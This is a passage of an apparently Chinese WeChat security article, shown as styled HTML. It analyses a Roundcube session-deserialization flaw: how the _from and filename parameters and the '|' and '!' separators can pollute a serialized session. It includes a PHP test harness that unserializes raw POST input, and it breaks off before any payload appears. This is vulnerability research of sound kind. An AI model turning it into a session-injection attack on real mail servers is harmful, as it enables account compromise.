YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=043e8801&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRaA0FicCKQsyynbYHmEWxcqYFnwIF50s859Xia9SBh61P3yShjJlcltSQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">继续往下走顺利进入 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcube_session::unserialize</span></p><span leaf=""> 。调试发现传入 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PHP</span></p><span leaf=""> 原生反序列化函数 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">unserialize</span></p><span leaf=""> 的参数 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$serialized</span></p><span leaf=""> 中，含有 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">filename</span></p><span leaf=""> 和 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_from</span></p><span leaf=""> 的值：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008460" class="rich_pages wxw-img" data-ratio="0.6267190569744597" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=6f8797d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRfOuTlbCTsUr2m3KqDLYSsHkxVpluU1Yo3K6sMuCRPEETKa2F8qRkQQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以通过控制请求参数来污染 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf=""> 会话，那么是否存在利用的可能性呢？为了方便分析，新建一个辅助的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PHP</span></p><span leaf=""> 文件，并将 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcube_session</span></p><span leaf=""> 类中的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">unserialize</span></p><span leaf=""> 和 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">serialize</span></p><span leaf=""> 放入其中（还可以在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcube_session::unserialize</span></p><span leaf=""> 中添加 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">echo</span></p><span leaf=""> 打印信息）：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">&lt;?php</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">class My{</span><span leaf=""><br/></span><span leaf="">    //rcube_session::serialize</span><span leaf=""><br/></span><span leaf="">    protected function serialize($vars)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        ...</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">    //rcube_session::unserialize</span><span leaf=""><br/></span><span leaf="">    public static function unserialize($str)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        ...</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">$a=$_POST[&#39;payload&#39;];</span><span leaf=""><br/></span><span leaf="">$f=My::unserialize($a);</span><span leaf=""><br/></span><span leaf="">echo $f;</span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">与原生反序列化相比，自定义的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf=""> 反序列化函数中主要新增了对 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">!</span></p><span leaf=""> 和 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">|</span></p><span leaf=""> 等字符的处理：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008457" class="rich_pages wxw-img" data-ratio="0.819068255687974" data-type="png" data-w="923" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=fda877dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRLFkicSQR7q4PwedeiawHNHJDbk32j4GtfFX2uzialrxtjDmbBSA1zCu2g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">分析后得出如下结论：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">|</span></p><span leaf=""> 符号类似一个分割符，将对象分为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">key</span></p><span leaf=""> 和 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">value</span></p><span leaf=""> ；</span></div></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">!</span></p><span leaf=""> 符号会将 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">value</span></p><span leaf=""> 设置为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">N;</span></p><span leaf=""> ，表示 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">NULL</span></p><span leaf=""> 空值。</span></div></li></ul><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008461" class="rich_pages wxw-img" data-ratio="0.175146771037182" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=a59789d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibReXM8mYvwGy1lb47XNBhhNlObribakQ2CoN3lG60DaTDcU6CMKic0VJXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_from</span></p><span leaf=""> 和 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">filename</span></p><span leaf=""> 这两个可污染 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf=""> 的参数中尝试加入 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">|</span></p><span leaf=""> 和 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">!</span></p><span leaf=""> 符号，发现当构造特定请求时， </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: 